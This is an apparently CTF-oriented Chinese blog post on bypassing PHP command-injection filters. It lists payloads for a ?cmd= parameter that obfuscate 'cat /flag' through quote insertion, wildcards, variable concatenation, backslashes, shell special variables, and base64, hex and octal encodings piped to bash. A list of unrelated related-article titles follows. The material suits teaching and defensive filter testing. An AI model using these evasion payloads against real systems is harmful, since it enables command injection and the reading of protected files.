当前位置: 首页 > news >正文

php字符过滤绕过方法

空字符:

在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。 例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

?cmd=cat /f''lag
?cmd=cat /f'l'ag

通配符:

通配符

功能说明

示例

用途

*

匹配零个或多个字符

*.txt

匹配所有以 .txt

结尾的文件

?

匹配单个字符

file?.txt

匹配 file1.txt

, file2.txt

等单个字符的文件名

[]

匹配方括号内的任意一个字符

file[1-3].txt

匹配 file1.txt

, file2.txt

, file3.txt

[^]

匹配不在方括号内的字符

file[^a-c].txt

匹配不包含 a

c

之间字符的文件

{}

匹配大括号内的任意一个字符串,使用逗号分隔

file{1,2,3}.txt

匹配 file1.txt

, file2.txt

, file3.txt

~

表示当前用户的主目录

~/Documents

访问主目录下的 Documents

文件夹

!

表示取反,在一些条件测试或模式匹配中使用

ls !(*.txt)

列出所有不是 .txt

结尾的文件

\

转义字符,取消通配符的特殊意义,使其作为普通字符处理

file\*.txt

匹配文件名为 file*.txt

的文件

?cmd=cat /f*

赋值与拼接:

<@URLe>a=c;b=at;c=fla;d=g;$a$b /$c$d<@URLe>
?cmd=a%3Dc%3Bb%3Dat%3Bc%3Dfla%3Bd%3Dg%3B%24a%24b%20%2F%24c%24d

反斜杠:

?cmd=ca\t /fla\g

特殊变量:

变量

含义

示例输出

${#}

传递给脚本或函数的参数个数

0

(参数为空时)

${?}

上一个命令的退出状态

0

(正常退出)或 1

(异常退出)

${_}

上一个命令的最后一个参数

上一个命令的最后一个参数值

${0}

当前脚本或 shell 的名字

bash

或脚本名

${1} 到 ${9}

传递给脚本或函数的第 1 到第 9 个参数

第 1 到第 9 个参数值

${@}

传递给脚本或函数的所有参数(以列表形式)

所有参数值

${*}

传递给脚本或函数的所有参数(以字符串形式)

所有参数作为单个字符串

${$}

当前 shell 的进程 ID (PID)

进程 ID 值

${!}

上一个后台运行的进程的进程 ID (PID)

后台进程的 PID

${-}

当前 shell 的选项标志

hB

(表示 shell 选项标志)

?cmd=ca$1t /fl$@ag?cmd=ca$1t /fl$1ag?cmd=ca$1t /fl$2ag

编码 / 进制:

cat "$(echo 'L2ZsYWc=' | base64 -d)"
`echo "Y2F0IC9mbGFn"|base64 -d`
echo "Y2F0IC9mbGFn"|base64 -d|bashecho -n 636174202f666c6167 | xxd -r -p | bash # 十六进制
$(printf "\143\141\164\040\057\146\154\141\147\012")# 八进制(or bashfuck)

http://www.mrgr.cn/news/60432.html

相关文章:

  • linux开机自启动三种方式
  • Python Pandas 数据分析的得力工具:简介
  • Mysql之视图创建
  • flutter vscode app 的输出在哪里
  • 光速写作 2.0.5 | 专注AI写作,海量素材库
  • 【模型学习】
  • 越南有哪些主要的电商平台?越南电商什么品类比较畅销?
  • .NET Core WebApi第3讲:第一个WebApi项目、WebApi开发三种模型
  • 猎板pcb批量工厂1.5阶HDI板可直接投产
  • 【Linux】POSIX 消息队列
  • 无脑去除李贺epic注册机的三种方法
  • 最近爆火的新职业Prompt提示工程师到底是做什么的?迈向大模型第一步Prompt提示工程基础原理及实践
  • 蓝桥杯单片机STC15F2K60S2第十四届省赛代码详细讲解(附完整代码)
  • Ubuntu18.04安装velodyne驱动
  • AI-基本概念-CNN/RNN/注意力机制
  • Qt6切换音轨
  • 枫清科技仲光庆:AI+行业新范式,双轮驱动助力数智化升级
  • 【建造&机械】木材运输车辆检测系统源码&数据集全套:改进yolo11-GhostHGNetV2
  • SegNet DeconvNet——论文阅读
  • 院士领衔,瑞德磁电誓将中国红染遍磁电产业
  • 前端分页:非当前页进行表单验证
  • 802.1AS-2011_Gptp协议栈
  • 【动手学强化学习】part2-动态规划算法
  • Pytorch学习--DataLoader的使用
  • mabtisx突然不起作用:mapper跳转不到xml
  • 采用WinSW将jar包做成window本地服务